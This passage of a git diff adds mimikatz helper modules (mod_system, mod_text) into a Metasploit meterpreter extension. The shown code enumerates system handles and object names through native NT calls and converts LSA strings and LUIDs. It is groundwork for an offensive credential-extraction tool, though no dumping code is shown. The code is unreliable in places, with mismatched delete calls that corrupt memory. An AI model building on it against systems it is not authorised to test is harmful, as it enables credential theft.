}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::getComputerName(wstring * monComputerName)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD tailleRequise = 0;
|
||||
|
||||
if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA)
|
||||
{
|
||||
wchar_t * monBuffer = new wchar_t[tailleRequise];
|
||||
if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0))
|
||||
{
|
||||
monComputerName->assign(monBuffer);
|
||||
}
|
||||
delete[] monBuffer;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::getVersion(OSVERSIONINFOEX * maVersion)
|
||||
{
|
||||
RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX));
|
||||
maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
return (GetVersionEx(reinterpret_cast<LPOSVERSIONINFO>(maVersion)) != 0);
|
||||
}
|
||||
|
||||
bool mod_system::getCurrentDirectory(wstring * monRepertoire)
|
||||
{
|
||||
bool reussite = false;
|
||||
DWORD tailleRequise = GetCurrentDirectory(0, NULL);
|
||||
wchar_t * monBuffer = new wchar_t[tailleRequise];
|
||||
if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1)
|
||||
{
|
||||
monRepertoire->assign(monBuffer);
|
||||
reussite = true;
|
||||
}
|
||||
delete monBuffer;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse)
|
||||
{
|
||||
bool reussite = false;
|
||||
wchar_t monBuffer[MAX_PATH];
|
||||
|
||||
if(PathIsRelative(thisData.c_str()))
|
||||
{
|
||||
wstring monRep = L"";
|
||||
if(reussite = getCurrentDirectory(&monRep))
|
||||
{
|
||||
PathCombine(monBuffer, monRep.c_str(), thisData.c_str());
|
||||
reponse->assign(monBuffer);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0))
|
||||
{
|
||||
reponse->assign(monBuffer);
|
||||
}
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::isFileExist(std::wstring &fichier, bool *resultat)
|
||||
{
|
||||
bool reussite = false;
|
||||
HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE))
|
||||
{
|
||||
CloseHandle(monFichier);
|
||||
*resultat = true;
|
||||
}
|
||||
else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND))
|
||||
{
|
||||
*resultat = false;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
|
||||
{
|
||||
DWORD size = 0x10000;
|
||||
BYTE * monBuffer = new BYTE[size];
|
||||
ULONG sizeReturn = 0;
|
||||
NTSTATUS status;
|
||||
|
||||
while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
delete[] monBuffer;
|
||||
size <<= 1;
|
||||
monBuffer = new BYTE[size];
|
||||
}
|
||||
|
||||
if(reussite = NT_SUCCESS(status))
|
||||
{
|
||||
PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(monBuffer);
|
||||
for(DWORD i = 0; i < mesInfos->HandleCount; i++)
|
||||
{
|
||||
if(!pid || *pid == mesInfos->Handles[i].ProcessId)
|
||||
mesHandles->push_back(mesInfos->Handles[i]);
|
||||
}
|
||||
}
|
||||
|
||||
delete[] monBuffer;
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast<PNT_QUERY_OBJECT>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject")))
|
||||
{
|
||||
DWORD tailleRequise = 0;
|
||||
|
||||
if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
*buffer = new BYTE[tailleRequise];
|
||||
if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise))))
|
||||
{
|
||||
delete[] buffer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::getHandleType(HANDLE monHandle, wstring * strType)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
BYTE * monBuffer = NULL;
|
||||
if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation))
|
||||
{
|
||||
POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(monBuffer);
|
||||
strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t));
|
||||
delete[] monBuffer;
|
||||
}
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_system::getHandleName(HANDLE monHandle, wstring * strName)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
BYTE * monBuffer = NULL;
|
||||
if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation))
|
||||
{
|
||||
PUNICODE_STRING typeName = reinterpret_cast<PUNICODE_STRING>(monBuffer);
|
||||
strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t));
|
||||
delete[] monBuffer;
|
||||
}
|
||||
return reussite;
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_ntddk.h"
|
||||
#include <security.h>
|
||||
#include <shlwapi.h>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
|
||||
class mod_system
|
||||
{
|
||||
private:
|
||||
static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo);
|
||||
|
||||
public:
|
||||
static wstring getWinError(bool automatique = true, DWORD code = 0);
|
||||
|
||||
static bool getUserName(wstring * monUserName);
|
||||
static bool getComputerName(wstring *monComputerName);
|
||||
static bool getVersion(OSVERSIONINFOEX * maVersion);
|
||||
|
||||
static bool isFileExist(std::wstring &fichier, bool *resultat);
|
||||
static bool getCurrentDirectory(wstring * monRepertoire);
|
||||
static bool getAbsolutePathOf(wstring &thisData, wstring *reponse);
|
||||
static bool getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid = NULL); // type ??
|
||||
static bool getHandleType(HANDLE monHandle, wstring * strType);
|
||||
static bool getHandleName(HANDLE monHandle, wstring * strName);
|
||||
|
||||
static OSVERSIONINFOEX GLOB_Version;
|
||||
};
|
101
c/meterpreter/source/extensions/mimikatz/modules/mod_text.cpp
Normal file
101
c/meterpreter/source/extensions/mimikatz/modules/mod_text.cpp
Normal file
@ -0,0 +1,101 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_text.h"
|
||||
|
||||
PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast<PRTL_INIT_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString"));
|
||||
PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"));
|
||||
|
||||
wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur)
|
||||
{
|
||||
wostringstream monStream;
|
||||
for(DWORD j = 0; j < maTaille; j++)
|
||||
{
|
||||
monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j];
|
||||
if(longueur != 0)
|
||||
{
|
||||
monStream << L' ';
|
||||
if ((j + 1) % longueur == 0)
|
||||
monStream << endl;
|
||||
}
|
||||
}
|
||||
return monStream.str();
|
||||
}
|
||||
|
||||
wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne)
|
||||
{
|
||||
wstring result;
|
||||
if(monTab && maTaille > 0)
|
||||
{
|
||||
int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/;
|
||||
if(IsTextUnicode(monTab, maTaille, &flags))
|
||||
{
|
||||
result.assign(reinterpret_cast<const wchar_t *>(monTab), maTaille / sizeof(wchar_t));
|
||||
}
|
||||
else
|
||||
{
|
||||
if(ligne)
|
||||
result.assign(L"\n");
|
||||
result.append(stringOfHex(monTab, maTaille, longueur));
|
||||
}
|
||||
}
|
||||
else result.assign(L"<NULL>");
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[])
|
||||
{
|
||||
wstringstream z;
|
||||
unsigned int temp;
|
||||
for(size_t i = 0; i < maChaine.size() / 2; i++)
|
||||
{
|
||||
z.clear();
|
||||
z << maChaine.substr(i * 2, 2); z >> hex >> temp;
|
||||
monTab[i] = temp;
|
||||
}
|
||||
}
|
||||
|
||||
bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix)
|
||||
{
|
||||
if(str && suffix)
|
||||
{
|
||||
size_t str_len = wcslen(str), suffix_len = wcslen(suffix);
|
||||
return wstr_ends_with(str, str_len, suffix, suffix_len);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len)
|
||||
{
|
||||
if(str && suffix && (suffix_len <= str_len))
|
||||
return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
wstring mod_text::stringOfSTRING(UNICODE_STRING maString)
|
||||
{
|
||||
return wstring(maString.Buffer, maString.Length / sizeof(wchar_t));
|
||||
}
|
||||
string mod_text::stringOfSTRING(STRING maString)
|
||||
{
|
||||
return string(maString.Buffer, maString.Length);
|
||||
}
|
||||
|
||||
void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[])
|
||||
{
|
||||
RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t));
|
||||
RtlInitUnicodeString(LsaString, monBuffer);
|
||||
}
|
||||
|
||||
LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart)
|
||||
{
|
||||
LUID monLUID = {0, 0};
|
||||
wstringstream z;
|
||||
z << highPart; z >> monLUID.HighPart;
|
||||
z.clear();
|
||||
z << lowPart; z >> monLUID.LowPart;
|
||||
return monLUID;
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user